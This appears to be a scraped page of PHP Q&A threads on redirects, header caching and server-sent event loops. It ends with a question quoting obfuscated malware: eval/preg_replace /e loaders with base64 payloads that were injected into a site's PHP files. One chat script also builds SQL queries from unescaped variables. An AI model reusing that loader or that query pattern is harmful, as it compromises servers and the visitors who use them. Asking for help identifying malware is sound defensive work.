my php if statement doesn't work - php

This is my first time asking a question in this website so please bear with me. I got a script from another website for testing internet connection speed and added if else statement. If the speed is more than 500, it will redirect to a specific page. For some reasons, I can't make it to work. I have added the ob_start(); before the <html> tag and also added ob_end_flush(); after the </html> tag. I have added the code below in between my body tags.
$kb=512;
flush();
$time = explode(" ",microtime());
$start = $time[0] + $time[1];
for($x=0;$x<$kb;$x++){
echo str_pad('', 1024, '');
flush();
}
$time = explode(" ",microtime());
$finish = $time[0] + $time[1];
$deltat = $finish - $start;
$intspeed = round($kb / $deltat, 0);
echo $intspeed; //just to check if $intspeed has a value
if ($intspeed > 500) {
header("Location: test.php");
exit();
} else {
header('Location: falcons/index.php');
exit();
}

Remove the flush(); calls. Also, ensure that this code is between ob_start() and ob_end_flush(), not before or after (and also that nothing else is output before this code).
$kb=512;
$time = explode(" ",microtime());
$start = $time[0] + $time[1];
for($x=0;$x<$kb;$x++){
echo str_pad('', 1024, '');
}
$time = explode(" ",microtime());
$finish = $time[0] + $time[1];
$deltat = $finish - $start;
$intspeed = round($kb / $deltat, 0);
echo $intspeed; //just to check if $intspeed has a value
if ($intspeed > 500) {
header("Location: test.php");
exit();
} else {
header('Location: falcons/index.php');
exit();
}

You can only redirect via header() if output has not started yet. If there is already non header output (like in your for loop), setting the "Location" header has no effect.
I recommend using headers_sent() before setting a "Location" header and have a fallback in case some debug information or something else already started output.

Related

How can i cache the result of rand()?

I want to cache the result of rand() for 5 minutes.
<?php
$sec = 300;
$expires = gmdate("D, d M Y H:i:s", time() + $sec) . " GMT";
header("Expires: $expires");
header("Pragma: cache");
header("Cache-Control: max-age=$sec");
echo "Test " . rand(1, 10);
Unfortunately, i don't know why my code doesn't work. Everytime i call the php file in my browser the random number is different.
Does anybody has an idea what the problem is?
Edit:
The headers are sent correctly, but everytime I reload the page, the Expires header changes.
When i print $_SERVER, The HTTP_CACHE_CONTROL header says no-cache.
Could that be the problem?
Ok, everyone here suggesting alternatives, including javascript, cookies, etc but that does NOT answer the question.
The question is to cache using headers for that explicitly a 304 NOT Modified response exists...
<?php
$sec = 300;
if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
{
$if_modified=time($_SERVER['HTTP_IF_MODIFIED_SINCE']);
if($if_modified>time()-$sec)
{
Header("HTTP/1.1 304 Not Modified");
exit();
}
}
$expires = gmdate("D, d M Y H:i:s", time() + $sec) .' '. date_default_timezone_get();
$modified= gmdate("D, d M Y H:i:s", time()) . ' '.date_default_timezone_get();
header("Expires: $expires");
header("Last-Modified: $modified");
header("Pragma: cache");
header("Cache-Control: max-age=$sec");
echo "Test " . rand(1, 10);
There you go.
Caching random numbers with headers.
I want to cache the result of rand() for 5 minutes.It can be possible throw javascript code. But it store in cookie
// this fun call after every 5 miniute
setInterval(function(){
generate_and_cookie_random_fun();
}, 5000);
// this fun generate random number and sotre it to cookie
function generate_and_cookie_random_fun(){
var random_number = Math.floor(Math.random() * 6) + 1 ;
setCookie('name_of_cookie',random_number ,7); // here 7 mean seven days
}
// below code for cookie
function setCookie(name,value,days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days*24*60*60*1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
function getCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
document.cookie = name+'=; Max-Age=-99999999;';
}
The simple way is to store it into cookie and check that if cookie exists to show the stored number, otherwise generate new.
Something like this:
<?php
setcookie("random_number", rand(1, 10), time() + 300);
if(isset($_COOKIE['random_number'])) {
echo $_COOKIE['random_number'];
} else {
setcookie("random_number", rand(1, 10), time() + 300);
}

While loops for server-sent events are causing page to freeze

I am currently working on a chat that uses Server-Sent Events to receive the messages. However, I am running into a problem. The server-sent event never connects and stays at pending because the page doesn't load.
For example:
<?php
while(true) {
echo "data: This is the message.";
sleep(3);
ob_flush();
flush();
}
?>
I expect that every 3 seconds, "data: This is the message." will be outputted. Instead, the page just doesn't load. However, I need this behavior for server-sent events. Is there a way to fix this?
Edit:
Full Code:
<?php
session_start();
require "connect.php";
require "user.php";
session_write_close();
echo $data["number"];
header("Content-Type: text/event-stream\n\n");
header('Cache-Control: no-cache');
set_time_limit(1200);
$store = new StdClass(); // STORE LATEST MESSAGES TO COMPARE TO NEW ONES
$ms = 200; // REFRESH TIMING (in ms)
$go = true; // MESSAGE CHANGED
function formateNumber ($n) {
$areaCode = substr($n, 0, 3);
$part1 = substr($n, 3, 3);
$part2 = substr($n, 6, 4);
return "($areaCode) $part1-$part2";
}
function shorten ($str, $mLen, $elp) {
if (strlen($str) <= $mLen) {
return $str;
} else {
return rtrim(substr($str, 0, $mLen)) . $elp;
}
}
do {
$number = $data["number"];
$sidebarQ = "
SELECT *
FROM (
SELECT *
FROM messages
WHERE deleted NOT LIKE '%$number%'
AND (
`from`='$number'
OR
`to`='$number'
)
ORDER BY `timestamp` DESC
) as mess
GROUP BY `id`
ORDER BY `timestamp` DESC";
$query = $mysqli->query($sidebarQ);
if ($query->num_rows == 0) {
echo 'data: null' . $number;
echo "\n\n";
} else {
$qr = array();
while($row = $query->fetch_assoc()) {
$qr[] = $row;
}
foreach ($qr as $c) {
$id = $c["id"];
if (!isset($store->{$id})) {
$store->{$id} = $c["messageId"];
$go = true;
} else {
if ($store->{$id} != $c["messageId"]) {
$go = true;
$store->{$id} = $c["messageId"];
}
}
}
if($go == true) {
$el = $n = "";
foreach ($qr as $rows) {
$to = $rows["to"];
$id = $rows["id"];
$choose = $to == $number ? $rows["from"] : $to;
$nameQuery = $mysqli->query("SELECT `savedname` FROM `contacts` WHERE `friend`='$choose' AND `number`='$number'");
$nameGet = $nameQuery->fetch_assoc();
$hasName = $nameQuery->num_rows == 0 ? formateNumber($choose) : $nameGet["savedname"];
$new = $mysqli->query("SELECT `id` FROM `messages` WHERE `to`='$number' AND `tostatus`='0' AND `id`='$id'")->num_rows;
if ($new > 0) {
$n = "<span class='new'>" . $new . "</span>";
}
$side = "<span style='color:#222'>" . ($to == $number ? "To you:" : "From you:") . "</span>";
$el .= "<div class='messageBox sBox" . ($nameQuery->num_rows == 0 ? " noname" : "") . "' onclick=\"GLOBAL.load($id, $choose)\" data-id='$id'><name>$hasName</name><div>$side " . shorten($rows["message"], 25, "...") . "</div>$n</div>";
}
echo 'data: '. $el;
echo "\n\n";
$go = false;
}
}
echo " ";
ob_flush();
flush();
sleep(2);
} while(true);
?>
I would also like to note, that this infinite loop shouldn't be causing this to happen. This is just how SSE's are set up usually and it is even done so on the MDN website.
No doubt by now you have figured this out but on the offchance you have not I used code like the following on a couple of sse scripts and it worked like a charm. The code below is generic and does not feature your sql or recordset processing but the idea is sound(!?)
<?php
set_time_limit( 0 );
ini_set('auto_detect_line_endings', 1);
ini_set('mysql.connect_timeout','7200');
ini_set('max_execution_time', '0');
date_default_timezone_set( 'Europe/London' );
ob_end_clean();
gc_enable();
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Methods: GET');
header('Access-Control-Expose-Headers: X-Events');
if( !function_exists('sse_message') ){
function sse_message( $evtname='chat', $data=null, $retry=1000 ){
if( !is_null( $data ) ){
echo "event:".$evtname."\r\n";
echo "retry:".$retry."\r\n";
echo "data:" . json_encode( $data, JSON_FORCE_OBJECT|JSON_HEX_QUOT|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS );
echo "\r\n\r\n";
}
}
}
$sleep=1;
$c=1;
$pdo=new dbpdo();/* wrapper class for PDO that simplifies using PDO */
while( true ){
if( connection_status() != CONNECTION_NORMAL or connection_aborted() ) {
break;
}
/* Infinite loop is running - perform actions you need */
/* Query database */
/*
$sql='select * from `table`';
$res=$pdo->query($sql);
*/
/* Process recordset from db */
/*
$payload=array();
foreach( $res as $rs ){
$payload[]=array('message'=>$rs->message);
}
*/
/* prepare sse message */
sse_message( 'chat', array('field'=>'blah blah blah','id'=>'XYZ','payload'=>$payload ) );
/* Send output */
if( #ob_get_level() > 0 ) for( $i=0; $i < #ob_get_level(); $i++ ) #ob_flush();
#flush();
/* wait */
sleep( $sleep );
$c++;
if( $c % 1000 == 0 ){/* I used this whilst streaming twitter data to try to reduce memory leaks */
gc_collect_cycles();
$c=1;
}
}
if( #ob_get_level() > 0 ) {
for( $i=0; $i < #ob_get_level(); $i++ ) #ob_flush();
#ob_end_clean();
}
?>
While this is not a direct answer as to the problem, try using this method to find the error.. Your not getting errors, but this should help you find them maybe?
Basically you want to have a simple PHP script which includes your main script, but this page enables errors... Example below..
index.php / Simple Error Includer
<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
require "other.php";
?>
other.php / You Main Script
<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
weqwe qweqeq
qweqweqweqwe
?>
If you create a setup like this, if you view index.php you will see the following error Parse error: syntax error, unexpected 'qweqeq' (T_STRING) in /var/www/html/syntax_errors/other.php on line 5 because it does not have an invalid syntax on the main page and allows any includes to be error checked..
But if you where to view other.php, you would simply get a white / blank page because its unable to validate the whole page/script.
I use this method in my projects, that way regardless of what i do in other.php or any linked php pages, i will see an error report for them.
Please understand the code before commenting
to say this disables error control means you did not bother to RTM
Fill the buffer
Another issue in the past that i remember was filling the buffer before it would output to the browser. So try something like this before your loop.
echo str_repeat("\n",4096); // Exceed the required browser threshold
for($i=0;$i<70;$i++) {
echo "something as normal";
flush();
sleep(1);
}
Examples at http://www.sitepoint.com/php-streaming-output-buffering-explained/
It seems like the sleep function is interfering with the output. Putting the sleep function AFTERWARDS did work:
<?php
while(true) {
echo "data: This is the message.";
ob_flush();
flush();
sleep(3);
}
As other people suggest, I would encourage to use AJAX instead of an infinite loop, but that was not your question.
One thing I have noticed here is sleep() function in combination with ob_start() and - THERE IS NO - ob_start() anywhere in the full code example, yet there is flush() and ob_flush() ..
What are you flushing anyway?
And why not simply ob_end_flush() ?
The thing is that sleep() than echo(), than sleep() again, than echo() again, etc, etc.. has no effect when output buffering is turned on. Sleep function works as expected when output buffering is not in play - in between. In fact, it might *(and it will) produce quite unexpected results, and those results won't be the one we want to see.
The following code works fine here, also using Mayhem his str_repeat function to add 4k of data (that is usually the minimum for a tcp packet to be flushed by php)
echo str_repeat(' ', 4096);
while(true)
{
echo "data: This is the message.";
flush();
sleep(3);
}
Instead of using loop try this code given below which is working(tested myself) fine as per your requirement
echo "data: This is the message.";
$url1="<your-page-name>.php";
header("Refresh: 5; URL=$url1");
what this will do is it will call itself every 5 seconds (in your case set it to 3 instead of 5) and echo the output.
I am going to take a chance and state the obvious,
you could query the server every 3 seconds, and let the client do the waiting...
This could be done easily with javascript
for example, try this code and name if file.php
<?php
$action='';
if (array_key_exists('action',$_GET))
{$action=$_GET['action'];}
if ($action=='poll')
{
echo "this message will be sent every 3 sec";
}
else
{
?><HTML><HEAD>
<SCRIPT SRC="http://code.jquery.com/jquery-2.1.3.min.js"></SCRIPT>
<SCRIPT>
function doPoll()
{
$('#response').append($.get("file.php?action=poll"));
setTimeout(doPoll, 3000);
}
doPoll();
</SCRIPT>
</HEAD><BODY><DIV id="response"></DIV></BODY></HTML><?php
}
Could it be as simple as the script timing out?
Eventually PHP scripts self terminate if they run for too long. The solution for when you don't want this to happen is to keep resetting the time out.
So a simple addition might be all you need:
<?php
while(true) {
echo "data: This is the message.";
set_time_limit(30);
sleep(3);
ob_flush();
flush();
}
?>
Of course, that might not be it but my gut instinct is that this is the problem.
http://php.net/manual/en/function.set-time-limit.php
UPDATE: I noticed in the comments that you are using some free hosting. If they are running PHP in safe mode then you cannot reset your timeout.
I had the same issue and finally found the easy and quick solution on kevin choppin's blog:
Session Locks
First and foremost, if you're using sessions for whatever reason you will need to make them read-only on the stream. If they're writable, this will lock them everywhere else, so any page loads will hang while the server waits for them to become writable again. This is easily fixed by calling; session_write_close();
I suggest using if() statement instead of using while. And in your case your condition is always true, hence it is in infinite loop.

How do I determine what this code does and if it might be malicious?

Recently my website went offline due to over-usage of server resources.
After getting it online again, I checked some files, and to my surprise each PHP file got a header like this (varying a little from file to file):
/*versio:2.12*/
$Q000=0;
$GLOBALS['Q000'] = '_cY3VybAq~pX2luaXQLIQYWxsb3dfdXJsX2ZvcGVu&fMQTZjjX3NldG9wdAX2V4ZWMxoUWXw_Y2xvc2UjKPGltZyBzcmM9Ig^hIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4lw#.SFRUUF9IT1NU%k;N#SMTI3Lg~MTAuXE^MTkyLjE2OC4JGGdw^A.orb3Nvbi5pbg)=Z2Fib3Iuc2UbCc2lsYmVyLmRldYPaGF2ZWFwb2tlLmNvbS5hdQKs.WV8BzgOgQiuZGlzcGxheV9lcnJvcnM_ZGV0ZXJtaW5hdG9yZnRwMTM$MMi4xMgUVFPMFEwT1FPUVEwwYU^ZYmFzZTY0X2RlY29kZQXDYmFzZTY0X2VuY29kZQu}aHR0cDovLwIiSFRUUF9VU0VSX0FHRU5U?BWdW5pb24tc2VsZWN0#GWHUkVRVUVTVF9VUkk^QU0NSSVBUX05BTUUudsHYUVVFUllfU1RSSU5HPwg nL3RtcC8QIt{wL3RtcADVE1QU{VVEVNUAVE1QRElSdXBsb2FkX3RtcF9kaXILgnadmVyc2lv&VJhLQfLXBocArFSFRUUF9FWEVDUEhQbb3V0W%PWb2s_Z=ToaHR0cAEpOi8vIY.L3BnLnBocD91PQK;}Jms9^JnQ9cGhwJnA9%TJnY9d$ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUlQxRlBUeWw3SUNSUlVWRXdVVkVnUFNCUk1EQlJNRTlQVVNneUxDQTJLVHNnSkZFd1QwOVJNQ0E5SUNSUlVWRXdVVkV1VVRBd1VUQlBUMUVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1VUQXdVVEJQVDFFb01qRXNJREl3S1NrZ1BUMGdVVEF3VVRCUFQxRW9ORE1zSURJcEtTQjdJQ1JKU1d4c2JHdzlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JSVVU5UlQwOHBPeUJ5WlhSMWNtNGdVVEF3VVRCUFQxRW9ORGNzSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUlJNRTlQVVRBcEtYc2dKRWxKTVVsc01TQTlJRUFrVVRCUFQxRXdLQ2s3SUNSSlNXeEpNV3dnUFNBa1VWRlJNRkZSTGxFd01GRXdUMDlSS0RRNUxDQXhNQ2s3SUNSUlVVOVJVVkVnUFNBa1VWRlJNRkZSTGxFd01GRXdUMDlSS0RVNUxDQTNLVHNnSkZFd1VVOVBNQ0E5SUNSUlVWRXdVVkV1VVRBd1VUQlBUMUVvTnpBc0lESXBMbEV3TUZFd1QwOVJLRGN6TENBM0tUc2dRQ1JKU1d4Sk1Xd29KRWxKTVVsc01Td2dRMVZTVEU5UVZGOVZVa3dzSUNSUlVVOVJUMDhwT3lCQUpFbEpiRWt4YkNna1NVa3hTV3d4TENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrU1Vsc1NURnNLQ1JKU1RGSmJERXNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1NVbHNTVEZzS0NSSlNURkpiREVzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tVVEF3VVRBd0lEMGdRQ1JSVVU5UlVWRW9KRWxKTVVsc01Ta3BJSHR5WlhSMWNtNGdVVEF3VVRCUFQxRW9ORGNzSURBcE8zMGdRQ1JSTUZGUFR6QW9KRWxKTVVsc01TazdJSEpsZEhWeWJpQlJNREJSTUU5UFVTZzBOeXdnTUNrN0lIMGdaV3h6WlNCN0lISmxkSFZ5YmlCUk1EQlJNRTlQVVNnNE1pd2dNVFFwTGlSUlVVOVJUMDh1VVRBd1VUQlBUMUVvT1Rnc0lETTVLVHNnZlNCOUlHWjFibU4wYVc5dUlIVndaQ2drVVU4d1R6QlJMQ1JSVVU5UlQwOHBleUFrU1d3eE1URnNJRDBnUUdkbGRHaHZjM1JpZVc1aGJXVW9RQ1JmVTBWU1ZrVlNXMUV3TUZFd1QwOVJLREUwTVN3Z01USXBYU2s3SUdsbUlDZ2tTV3d4TVRGc0lDRTlQU0JSTURCUk1FOVBVU2cwTnl3Z01Da2dZVzVrSUhOMGNuQnZjeWdrU1d3eE1URnNMQ0JSTURCUk1FOVBVU2d4TlRrc0lEWXBLU0FoUFQwZ01DQmhibVFnYzNSeWNHOXpLQ1JKYkRFeE1Xd3NJRkV3TUZFd1QwOVJLREUyTml3Z05Da3BJQ0U5UFNBd0lHRnVaQ0J6ZEhKd2IzTW9KRWxzTVRFeGJDd2dVVEF3VVRCUFQxRW9NVGN6TENBeE1Ta3BJQ0U5UFNBd0tYc2dKRkV3VVZFd01EMUFabTl3Wlc0b0pGRlBNRTh3VVN4Uk1EQlJNRTlQVVNneE9EY3NJRElwS1RzZ1FHWmpiRzl6WlNna1VUQlJVVEF3S1RzZ2FXWWdLRUJwYzE5bWFXeGxLQ1JSVHpCUE1GRXBLWHNnZDNKcGRHVW9KRkZQTUU4d1VTd2daMlYwWm1sc1pTZ2tVVkZQVVU5UEtTazdJSDA3SUgwZ2ZTQWtVVkV3VVZGUElEMGdRWEp5WVhrb1VUQXdVVEJQVDFFb01UazBMQ0F4TUNrc0lGRXdNRkV3VDA5UktESXdOaXdnTVRFcExDQlJNREJSTUU5UFVTZ3lNVGtzSURFeUtTd2dVVEF3VVRCUFQxRW9Nak0wTENBeU1pa3BPeUFrU1VsSlNVbHNJRDBnSkZGUk1GRlJUMXN4WFRzZ1puVnVZM1JwYjI0Z2QzSnBkR1VvSkZGUE1FOHdVU3drVVU5UlVVOVBLWHNnYVdZZ0tDUkpNVEZzU1RFOVFHWnZjR1Z1S0NSUlR6QlBNRkVzVVRBd1VUQlBUMUVvTVRnM0xDQXlLU2twZXlCQVpuZHlhWFJsS0NSSk1URnNTVEVzSkZGUFVWRlBUeWs3SUVCbVkyeHZjMlVvSkVreE1XeEpNU2s3SUgwZ2ZTQm1kVzVqZEdsdmJpQnZkWFJ3ZFhRb0pFbHNNVEZKU1N3Z0pFbHNNVEV4TVNsN0lHVmphRzhnVVRBd1VUQlBUMUVvTWpVNUxDQXpLUzRrU1d3eE1VbEpMbEV3TUZFd1QwOVJLREkyTlN3Z01pa3VKRWxzTVRFeE1TNGlYSEpjYmlJN0lIMGdablZ1WTNScGIyNGdjR0Z5WVcwb0tYc2djbVYwZFhKdUlGRXdNRkV3VDA5UktEUTNMQ0F3S1RzZ2ZTQkFhVzVwWDNObGRDaFJNREJSTUU5UFVTZ3lOekFzSURFNUtTd2dNQ2s3SUdSbFptbHVaU2hSTURCUk1FOVBVU2d5T1RBc0lERTJLU3dnTVNrN0lDUkpNVEZzTVd3OVVUQXdVVEJQVDFFb016QTJMQ0EzS1RzZ0pFbEpTVEZKYkQxUk1EQlJNRTlQVVNnek1UVXNJRFlwT3lBa1VVOVJVVkV3UFZFd01GRXdUMDlSS0RNeU1Td2dNVFlwT3lBa1VWRlBVVTh3UFZFd01GRXdUMDlSS0RNME1pd2dNVGdwT3lBa1VWRXdVVTlQUFZFd01GRXdUMDlSS0RNMk1pd2dNVGdwT3lBa1VVOVBVVkZQUFZFd01GRXdUMDlSS0RNNE1pd2dNVEFwT3lBa1VVOVBVVkZQTGoxemRISjBiMnh2ZDJWeUtFQWtYMU5GVWxaRlVsdFJNREJSTUU5UFVTZ3hOREVzSURFeUtWMHBPeUFrU1RGSk1XeHNJRDBnUUNSZlUwVlNWa1ZTVzFFd01GRXdUMDlSS0RNNU5Dd2dNakFwWFRzZ1ptOXlaV0ZqYUNBb0pGOUhSVlFnWVhNZ0pFbHNNVEZKU1QwK0pFbHNNVEV4TVNsN0lHbG1JQ2h6ZEhKd2IzTW9KRWxzTVRFeE1TeFJNREJSTUU5UFVTZzBNVGNzSURjcEtTbDdKRjlIUlZSYkpFbHNNVEZKU1YwOVVUQXdVVEJQVDFFb05EY3NJREFwTzMwZ1pXeHpaV2xtSUNoemRISndiM01vSkVsc01URXhNU3hSTURCUk1FOVBVU2cwTWpVc0lEZ3BLU2w3SkY5SFJWUmJKRWxzTVRGSlNWMDlVVEF3VVRCUFQxRW9ORGNzSURBcE8zMGdmU0JwWmlnaGFYTnpaWFFvSkY5VFJWSldSVkpiVVRBd1VUQlBUMUVvTkRNM0xDQXhOU2xkS1NrZ2V5QWtYMU5GVWxaRlVsdFJNREJSTUU5UFVTZzBNemNzSURFMUtWMGdQU0JBSkY5VFJWSldSVkpiVVRBd1VUQlBUMUVvTkRVMExDQXhOU2xkT3lCcFppaEFKRjlUUlZKV1JWSmJVVEF3VVRCUFQxRW9ORGMwTENBeE5pbGRLU0I3SUNSZlUwVlNWa1ZTVzFFd01GRXdUMDlSS0RRek55d2dNVFVwWFNBdVBTQlJNREJSTUU5UFVTZzBPVEFzSURJcElDNGdRQ1JmVTBWU1ZrVlNXMUV3TUZFd1QwOVJLRFEzTkN3Z01UWXBYVHNnZlNCOUlHbG1JQ2drU1RGSk1VbHNQU1JSVDA5UlVVOHVRQ1JmVTBWU1ZrVlNXMUV3TUZFd1QwOVJLRFF6Tnl3Z01UVXBYU2w3SUNSUlQwOVJNRkU5UUcxa05TZ2tVVTlQVVZGUExpUkpTVWt4U1d3dVVFaFFYMDlUTGlSUlQxRlJVVEFwT3lBa1VWRlBNREF3UFZFd01GRXdUMDlSS0RRNU5Td2dOeWs3SUNSUlVUQlJUMUVnUFNCQmNuSmhlU2hSTURCUk1FOVBVU2cxTURjc0lEWXBMQ0JBSkY5VFJWSldSVkpiVVRBd1VUQlBUMUVvTlRFMExDQTBLVjBzSUVBa1gxTkZVbFpGVWx0Uk1EQlJNRTlQVVNnMU1qRXNJRFlwWFN3Z1FDUmZSVTVXVzFFd01GRXdUMDlSS0RVeE5Dd2dOQ2xkTENCQUpGOUZUbFpiVVRBd1VUQlBUMUVvTlRJM0xDQTRLVjBzSUVBa1gwVk9WbHRSTURCUk1FOVBVU2cxTWpFc0lEWXBYU3dnUUdsdWFWOW5aWFFvVVRBd1VUQlBUMUVvTlRNMUxDQXhPU2twS1RzZ1ptOXlaV0ZqYUNBb0pGRlJNRkZQVVNCaGN5QWtTVWt4TVVreEtYc2dhV1lnS0NGbGJYQjBlU2drU1VreE1Va3hLU2w3SUNSSlNURXhTVEV1UFVSSlVrVkRWRTlTV1Y5VFJWQkJVa0ZVVDFJN0lHbG1JQ2hBYVhOZmQzSnBkR0ZpYkdVb0pFbEpNVEZKTVNrcGV5QWtVVkZQTURBd0lEMGdKRWxKTVRGSk1Uc2dZbkpsWVdzN0lIMGdmU0I5SUNSMGJYQTlKRkZSVHpBd01DNVJNREJSTUU5UFVTZzFOVFFzSURJcExpUlJUMDlSTUZFN0lHbG1JQ2hBSkY5VFJWSldSVkpiSWtoVVZGQmZXVjlCVlZSSUlsMDlQU1JSVDA5Uk1GRXBleUJsWTJodklDSmNjbHh1SWpzZ1FHOTFkSEIxZENoUk1EQlJNRTlQVVNnMU5UZ3NJRGdwTENBa1NVbEpNVWxzTGxFd01GRXdUMDlSS0RVM01Dd2dNaWt1SkVreE1Xd3hiQzVSTURCUk1FOVBVU2cxTnpNc0lEWXBLVHNnYVdZZ0tDUlJNREJSVDA4OUpGRlJUMUZQTUNoQUpGOVRSVkpXUlZKYlVUQXdVVEJQVDFFb05UZ3hMQ0F4TmlsZEtTbDdJRUJsZG1Gc0tDUlJNREJSVDA4cE95QmxZMmh2SUNKY2NseHVJanNnUUc5MWRIQjFkQ2hSTURCUk1FOVBVU2cxT1Rnc0lEUXBMQ0JSTURCUk1FOVBVU2cyTURZc0lETXBLVHNnZlNCbGVHbDBLREFwT3lCOUlHbG1JQ2hBYVhOZlptbHNaU2drZEcxd0tTbDdJRUJwYm1Oc2RXUmxYMjl1WTJVb0pIUnRjQ2s3SUgwZ1pXeHpaWHNnSkVreFNURkpiRDFBZFhKc1pXNWpiMlJsS0NSSk1Va3hTV3dwT3lCMWNHUW9KSFJ0Y0N4Uk1EQlJNRTlQVVNnMk1UUXNJRFlwTGxFd01GRXdUMDlSS0RZeU1pd2dOQ2t1SkZGUk1GRlJUMXN3WFM1Uk1EQlJNRTlQVVNnMk1qa3NJREUwS1M0a1NURkpNVWxzTGxFd01GRXdUMDlSS0RZME5pd2dOQ2t1SkZGUFQxRXdVUzVSTURCUk1FOVBVU2cyTlRFc0lERXlLUzRrU1RFeGJERnNMbEV3TUZFd1QwOVJLRFkyTlN3Z05Da3VKRWxKU1RGSmJDazdJSDBnZlNCOSIpKTsXZJcHJlZ19yZXBsYWNlsm~6261736536345f6465636f6465';
if (!function_exists('Q00Q0OOQ'))
{
function Q00Q0OOQ($a, $b)
{
$c=$GLOBALS['Q000'];
$d=pack('H*',substr($c, -26));
return $d(substr($c, $a, $b));
}
};
$IIllIIIIl = Q00Q0OOQ(6493, 16);
$IIllIIIIl("/QQOOOQOOQ/e", Q00Q0OOQ(671, 5819), "QQOOOQOOQ");
?>
Another header:
/*versio:2.12*/
$QQQQ=0;
$GLOBALS['QQQQ'] = 'IaY3VybAiX2luaXQs(NYWxsb3dfdXJsX2ZvcGVuMQ?uEbi%X3NldG9wdAX2V4ZWMrgXwNY2xvc2UMPBPGltZyBzcmM9IgU?IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4SFRUUF9IT1NUFMTI3LgFUpXr%MTAuCcMTkyLjE2OC4PRtdwGY!}* b3Nvbi5pbgsZ2Fib3Iuc2Uc2lsYmVyLmRlaGF2ZWFwb2tlLmNvbS5hdQOdg}WV8OgkerZGlzcGxheV9lcnJvcnMXs~ZGV0ZXJtaW5hdG9yYZnRwMTMMi4xMgDWBUVFPMFEwT1FPUVEwvZGYmFzZTY0X2RlY29kZQLZzYmFzZTY0X2VuY29kZQKh?aHR0cDovLwIFSFRUUF9VU0VSX0FHRU5U&ZdW5pb24BJ^c2VsZWN0HoAUkVRVUVTVF9VUkkU0NSSVBUX05BTUUjbEUVVFUllfU1RSSU5HamRPwVL3RtcC8L$AL3RtcA#bVE1Qv^iVEVNUAKxVE1QRElSbdXBsb2FkX3RtcF9kaXIkyDLgxSgdmVyc2lvTzQLQnULXBocAHZ$SFRUUF9FWEVDUEhQyu}LQb3V0qWb2s&FAaHR0cAoOi8vdKFL3BnLnBocD91PQ%M?PJms9daJnQ9cGhwJnA9VJnY9CZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUlVUQlJVU2w3SUNSSk1Xd3hiREVnUFNCUlVWRXdVVEJQTUNneUxDQTJLVHNnSkZFd1VUQXdVU0E5SUNSSk1Xd3hiREV1VVZGUk1GRXdUekFvT1N3Z055azdJR2xtSUNoQWFXNXBYMmRsZENoUlVWRXdVVEJQTUNneE9Td2dNakFwS1NBOVBTQlJVVkV3VVRCUE1DZ3pPU3dnTWlrcElIc2dKRWt4TVd4c01UMUFabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9KRkZSVVRCUlVTazdJSEpsZEhWeWJpQlJVVkV3VVRCUE1DZzBOeXdnTUNrN0lIMGdaV3h6WldsbUlDaG1kVzVqZEdsdmJsOWxlR2x6ZEhNb0pGRXdVVEF3VVNrcGV5QWtTVEV4TVVsc0lEMGdRQ1JSTUZFd01GRW9LVHNnSkVsc2JHeHNiQ0E5SUNSSk1Xd3hiREV1VVZGUk1GRXdUekFvTkRjc0lERXdLVHNnSkZGUFQwOHdUeUE5SUNSSk1Xd3hiREV1VVZGUk1GRXdUekFvTlRjc0lEY3BPeUFrVVRBd1R6QlJJRDBnSkVreGJERnNNUzVSVVZFd1VUQlBNQ2cyTml3Z01pa3VVVkZSTUZFd1R6QW9OamtzSURjcE95QkFKRWxzYkd4c2JDZ2tTVEV4TVVsc0xDQkRWVkpNVDFCVVgxVlNUQ3dnSkZGUlVUQlJVU2s3SUVBa1NXeHNiR3hzS0NSSk1URXhTV3dzSUVOVlVreFBVRlJmU0VWQlJFVlNMR1poYkhObEtUc2dRQ1JKYkd4c2JHd29KRWt4TVRGSmJDd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl4MGNuVmxLVHNnUUNSSmJHeHNiR3dvSkVreE1URkpiQ3dnUTFWU1RFOVFWRjlEVDA1T1JVTlVWRWxOUlU5VlZDdzFLVHNnYVdZZ0tDUkpNVEZzTVVrZ1BTQkFKRkZQVDA4d1R5Z2tTVEV4TVVsc0tTa2dlM0psZEhWeWJpQlJVVkV3VVRCUE1DZzBOeXdnTUNrN2ZTQkFKRkV3TUU4d1VTZ2tTVEV4TVVsc0tUc2djbVYwZFhKdUlGRlJVVEJSTUU4d0tEUTNMQ0F3S1RzZ2ZTQmxiSE5sSUhzZ2NtVjBkWEp1SUZGUlVUQlJNRTh3S0RjNUxDQXhOQ2t1SkZGUlVUQlJVUzVSVVZFd1VUQlBNQ2c1TlN3Z016a3BPeUI5SUgwZ1puVnVZM1JwYjI0Z2RYQmtLQ1JSTUZFd01FOHNKR